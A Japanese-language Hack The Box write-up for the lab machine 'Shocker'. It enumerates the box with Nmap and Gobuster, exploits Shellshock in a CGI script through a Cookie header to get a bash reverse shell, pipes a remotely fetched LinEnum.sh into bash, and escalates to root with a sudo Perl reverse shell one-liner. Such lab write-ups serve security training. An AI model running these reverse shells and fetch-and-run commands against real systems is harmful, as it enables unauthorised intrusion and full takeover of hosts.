Hack The Box Write-Up: Shocker

  

Enumeration: Portscan by Nmap

Nmapでターゲット「10.10.10.56」に対してポートスキャンを実施。
※Nmapについて詳しく知りたい方は、以下のリンクをご参照ください。

nmap -sC -sV -oA shocker 10.10.10.56

-sC: default script scan
-sV: service version detection against open ports 
-oA: Output in the three major formats at once                                    
root@kali:~# nmap -sC -sV -oA shocker 10.10.10.56                                      
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-22 20:37 EDT                        
Nmap scan report for 10.10.10.56
Host is up (0.30s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))                                  
|_http-server-header: Apache/2.4.18 (Ubuntu)                                           
|_http-title: Site doesn't have a title (text/html).                                   
2222/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)    
| ssh-hostkey:
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)                         
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)                        
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)                      
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

<考察> 各ポートで以下のサービスが動作していることを確認。
80/tcp (WEB):
– Version: Apache httpd 2.4.18
2222/tcp (SSH):
– Version: OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
– OSのバージョン情報(パッチ適用済み): 4ubuntu2.2

以下のUbuntu パッケージ検索サイトから、Apacheのバージョン「Apache httpd 2.4.18」をベースにUbuntuのパッケージを推測する。

以下の通り、キーワード「apache2」/ Distribution「xenial」を入力して検索した場合、ヒットしたapache2のバージョンは「2.4.18」のため、ubuntuはxenialと推察される。

https://packages.ubuntu.com/

Enumeration: 80/tcp (WEB)

Gobusterでターゲット「10.10.10.56」に対してディレクトリ/ファイル探索スキャンを実施。
※Gobusterについて詳しく知りたい方は、以下のリンクをご参照ください。

gobuster -u http://10.10.10.56 -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403

-u: The target URL or Domain
-w: Path to the wordlist
-s: Positive status codes (dir mode only) (default "200,204,301,302,307")
root@kali:~# gobuster -u http://10.10.10.56 -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.56/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/small.txt
[+] Status codes : 200,204,301,302,307,403
=====================================================
/cgi-bin/ (Status: 403)

http://10.10.10.56/cgi-bin/ (HTTPステータスコード: 403)のURL Pathが存在することを確認。

http://10.10.10.56/cgi-bin

HTTPステータスコード 403の意味は、以下の通り。

403 Forbidden禁止されている。リソースにアクセスすることを拒否された。リクエストはしたが処理できないという意味。

https://ja.wikipedia.org/wiki/HTTP%E3%82%B9%E3%83%86%E3%83%BC%E3%82%BF%E3%82%B9%E3%82%B3%E3%83%BC%E3%83%89

再度、/cgi-bin/ 配下にはshell scriptやperlなどのファイルが存在する可能性が高いため、見つけたいファイル拡張子を指定(-x)した上でGobusterでurl「http://10.10.10.56/cgi-bin/」に対してスキャンを実施。

gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403 -x sh,pl


-u: The target URL or Domain
-w: Path to the wordlist
-s: Positive status codes (dir mode only) (default "200,204,301,302,307")
-x: File extension(s) to search for (dir mode only)
root@kali:~# gobuster -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -s 200,204,301,302,307,403 -x sh,pl

Gobuster v1.4.1              OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode         : dir
[+] Url/Domain   : http://10.10.10.56/cgi-bin/
[+] Threads      : 10
[+] Wordlist     : /usr/share/wordlists/dirb/small.txt
[+] Status codes : 200,204,301,302,307,403
[+] Extensions   : .sh,.pl
=====================================================
/user.sh (Status: 200)
=====================================================

http://10.10.10.56/cgi-bin/user.sh (HTTPステータスコード: 200)のFile Pathが存在することを確認。
ブラウザで上記のPathをアクセスすると、Shell Script「user.sh」をダウンロード出来る。

http://10.10.10.56/cgi-bin/user.sh

内容を確認すると、Shell Script「user.sh」が実行された形跡がある。

user.sh

CGI 環境を利用したWebサーバのBashにRCEの脆弱性「Shellshock」が存在しないか確認するため、Nmapのスクリプトスキャンを実施する。
Shellshockについては知るには、以下のリンクを参照することをお勧めする。

locateコマンドより、shellshockの脆弱性スキャンを行うNmap ScriptのPathを表示する。

root@kali:~# locate -r '\.nse$' | grep -i shellshock
/usr/share/nmap/scripts/http-shellshock.nse

Nmap Script「/usr/share/nmap/scripts/http-shellshock.nse」に不備があるため、以下の通り、99行目にコメント「–」を追加。

/usr/share/nmap/scripts/http-shellshock.nse

スクリプト内のUsageを参考に、以下のNmapコマンドを実行してスキャンを実施。

nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56

shellshockの脆弱性(CVE-2014-6271)が存在することを確認。

root@kali:~# nmap -p 80 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 10.10.10.56
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-22 22:12 EDT
Nmap scan report for 10.10.10.56
Host is up (0.33s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock: 
|   VULNERABLE:
|   HTTP Shellshock vulnerability
|     State: VULNERABLE (Exploitable)
|     IDs:  CVE:CVE-2014-6271
|       This web application might be affected by the vulnerability known as Shellshock. It seems the server
|       is executing commands injected via malicious HTTP headers.
|             
|     Disclosure date: 2014-09-24
|     Exploit results:
|       <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
|   <html><head>
|   <title>500 Internal Server Error</title>
|   </head><body>
|   <h1>Internal Server Error</h1>
|   <p>The server encountered an internal error or
|   misconfiguration and was unable to complete
|   your request.</p>
|   <p>Please contact the server administrator at 
|    webmaster@localhost to inform them of the time this error occurred,
|    and the actions you performed just before this error.</p>
|   <p>More information about this error may be available
|   in the server error log.</p>
|   <hr>
|   <address>Apache/2.4.18 (Ubuntu) Server at 10.10.10.56 Port 80</address>
|   </body></html>
|   
|     References:
|       http://www.openwall.com/lists/oss-security/2014/09/24/10
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169
|       http://seclists.org/oss-sec/2014/q3/685
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

Exploit Shellshock: 80/tcp (WEB)

Nmap Scirpt スキャンのHTTP RequestをBurp SuiteでInterceptする手順を以下に示す。

Burp Suite: Proxy > Options > Proxy Listeners

Proxy > Options > Proxy Listenersの設定でAddを押下し、BindingタブでBurp Suiteが待ち受けるIPを設定する。
– Bind to port -> 8081

Burp Suite: Proxy > Options > Proxy Listeners > Binding

次にRequest handlingタブでIntercept後にForwardする宛先host/portを設定する。
– Redirect to host -> 10.10.10.56
– Redirect to host -> 80

Burp Suite: Proxy > Options > Proxy Listeners> Request handling

Burp SuiteによるInterceptの準備が完了したら、 127.0.0.1に対してNmap Scriptによるshellshockのスキャンを実行する。

nmap -sV -p 8081 --script http-shellshock --script-args uri=/cgi-bin/user.sh,cmd=ls 127.0.0.1

Proxy > Intercept上のAction > Send to Repeaterより、Interceptした/cgi-bin/usr.shに対するHTTP RequestをRepeaterに送る。

Burp Suite: Proxy > Intercept

Proxy > Interceptにて、以下の通りにHTTP Request Headerの余分な行を削除する。

Burp Suite: Repeater

shellshockにより実行されるコマンドとして、以下のサイトに掲載されているBashを用いたReverse Shell取得用コマンドを用いる。

bash -i >& /dev/tcp/10.10.14.6/4444 0>&1

以下の通りに、Cookie Headerに上記のコマンドを追加する。

Repeater

攻撃用端末にてNetcatよりターゲットからのReverse ShellをPort4444で待ち受けた上で、Proxy > InterceptにてGoをクリックしてリクエストを送信。

nc -nlvp 4444

一般ユーザー「shelly」で動作するシェル奪取に成功。

root@kali:~# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.56] 47248
bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$ id
id
uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
shelly@Shocker:/usr/lib/cgi-bin$ 

Privilege Escalation (Linux) with Sudo Rights

ターゲットに存在する権限昇格の脆弱性を探すために、以下のサイトの「LinEnum.sh」を実行する。

shelly@Shocker:/usr/lib/cgi-bin$ curl 10.10.14.6:80/LinEnum.sh | bash
[+] We can sudo without supplying a password!
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: 

LinEnum.shの実行結果によると、一般ユーザー「shelly」はroot権限でパスワードなしに/usr/bin/perlの実行が許可されていることが分かる。
念のため、ターミナルでも「sudo -l」で上記の設定を確認する。

shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
shelly@Shocker:/usr/lib/cgi-bin$ sudo -l
sudo -l
Matching Defaults entries for shelly on Shocker:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shelly may run the following commands on Shocker:
    (root) NOPASSWD: /usr/bin/perl
shelly@Shocker:/usr/lib/cgi-bin$ 

※Sudo Rightsによる権限昇格の方法について詳しく知りたい方は、以下のリンクをご参照ください。

攻撃用端末にてNetcatよりターゲットからのReverse ShellをPort1234で待ち受けた上で、ターゲット上にて以下のサイトに掲載されているPerlを用いたReverse Shell取得用コマンドをsudoで実行する。

nc -nlvp 1234
shelly@Shocker:/dev/shm$ sudo /usr/bin/perl -e 'use Socket;$i="10.10.14.6";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

root権限で動作するシェル奪取に成功。

root@kali:~# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.56] 44780
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Link